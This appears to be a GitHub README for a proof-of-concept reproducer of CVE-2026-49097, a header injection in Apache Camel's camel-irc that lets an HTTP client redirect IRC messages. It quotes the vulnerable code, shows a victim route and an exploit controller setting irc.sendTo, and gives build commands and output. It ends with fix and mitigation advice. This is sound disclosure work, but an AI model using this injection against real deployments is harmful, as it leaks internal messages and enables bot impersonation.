oscerd/cve-2026-49097PoC reproducer for CVE-2026-49097 (Apache Camel camel-irc): the non-Camel-prefixed irc.sendTo header escapes the HTTP header filter and overrides the producer's configured channel, redirecting an IRC message to an attacker-chosen destination. Fixed in 4.14.8/4.18.3/4.21.0.
This project demonstrates a message-header injection in Apache Camel's camel-irc component, tracked as
CVE-2026-49097. IrcProducer reads the irc.sendTo header to choose the destination of the outgoing IRC
message; when present it overrides the endpoint's configured channel list:
// IrcProducer.process (affected 4.18.2)
final String sendTo = exchange.getIn().getHeader(IrcConstants.IRC_SEND_TO, String.class); // "irc.sendTo"
...
} else if (sendTo != null) {
connection.doPrivmsg(sendTo, msg); // attacker-chosen destination
} else {
for (IrcChannel channel : getEndpoint().getConfiguration().getChannelList()) {
connection.doPrivmsg(channel.getName(), msg); // the intended, configured channel(s)
}
}
The header constant IRC_SEND_TO has the plain value . Because it does not start with the
/ prefix, — which blocks only the Camel header namespace at the HTTP
boundary — lets it pass from an inbound HTTP request straight into the Exchange.
irc.sendToCamelcamelHttpHeaderFilterStrategyIn a route that bridges an HTTP consumer (for example platform-http) into an irc: producer, any HTTP client can
therefore supply irc.sendTo and redirect the message to an arbitrary IRC channel or nick, exfiltrating
content that was meant for an internal channel to an attacker-monitored destination, or impersonating the bot in
another channel. Nine further irc.* constants were renamed in the same fix; irc.sendTo is the directly
exploitable one.
This PoC demonstrates the impact as message redirection / information disclosure (CWE-20 → CWE-74).
| Property | Value |
|---|---|
| Component | camel-irc |
| Affected Class | org.apache.camel.component.irc.IrcProducer reading IrcConstants.IRC_SEND_TO ("irc.sendTo") |
| CWE | CWE-20 (Improper Input Validation) / CWE-74 (Injection) |
| Impact | Redirect an outgoing IRC message to an attacker-chosen channel/nick (exfiltration, impersonation) |
| Preconditions | A route bridges an HTTP consumer into an irc: producer; unauthenticated when the consumer is |
| Affected Versions | From 4.0.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0 |
| Fixed Versions | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23629 (PR apache/camel#23594) |
| Credit | Yu Bao (PayPal) |
The fix renames the ten
irc.*header constants to theCamelIrc*convention (for exampleirc.sendTo→CamelIrcSendTo), so they are filtered on the HTTP boundary like every other Camel control header. Same family as CVE-2025-27636, CVE-2026-46454 and CVE-2026-48206. Note:camel-ircis deprecated as of 4.21.0.
The vulnerability is entirely in IrcProducer's destination selection; the IRC socket is only transport. This
reproducer runs the real IrcProducer and the real irclib IRCConnection class, subclassed so that its
send(...) (through which every do* command — including doPrivmsg — funnels) records the PRIVMSG target
instead of writing to a socket. A tiny custom irc component hands out that recording connection. No IRC network
is contacted.
from("platform-http:/notify")
.to("irc:ircnet:6667?nickname=notifierbot&channels=%23alerts&commandTimeout=100");
A "notify" endpoint that forwards to a fixed internal channel #alerts. There is no destination parameter in the
HTTP API — the author assumes the client cannot choose the channel. The attacker sets irc.sendTo and the bot
posts to a channel of the attacker's choosing.
CVE-2026-49097/
├── pom.xml # camel-platform-http + camel-irc 4.18.2 (irclib 1.10)
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── RecordingIRCConnection.java # real IRCConnection subclass; records PRIVMSG targets, no socket
│ ├── RecordingIrcComponent.java # hands out the recording connection
│ ├── IrcComponentConfig.java # registers it under the 'irc' scheme
│ ├── IrcRecorder.java # captures the last delivered target + text
│ ├── VictimRoute.java # platform-http:/notify -> irc:...#alerts
│ └── ExploitController.java # attacker: injects irc.sendTo=#exfil-channel
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
=== CVE-2026-49097 — camel-irc irc.sendTo header injection (message redirection) ===
Route intent: POST /notify -> IRC channel #alerts (fixed in the endpoint config)
1) Legitimate POST /notify (no irc.sendTo header)
IRC message delivered to: #alerts
text: Revenue report Q3: $4.2M (internal distribution only)
2) Injected POST /notify with header 'irc.sendTo: #exfil-channel'
IRC message delivered to: #exfil-channel
text: Revenue report Q3: $4.2M (internal distribution only)
>>> PROVEN: an inbound HTTP header (irc.sendTo) passed the Camel HTTP header filter and
>>> overrode the producer's configured channel, sending the internal notification to an
>>> attacker-chosen IRC destination (exfiltration / bot impersonation): true
Upgrade to 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23629). After upgrading, routes that set the IRC destination via a
header must use the CamelIrcSendTo name. Note that camel-irc is deprecated as of 4.21.0.
Until upgrading, strip the camel-irc control headers from any untrusted ingress before the irc: producer (for
example removeHeaders("irc.*")), and set the destination from a trusted source.
This reproducer is provided for security research and authorized testing only, for a publicly disclosed and fixed vulnerability. Do not use it against systems without explicit permission.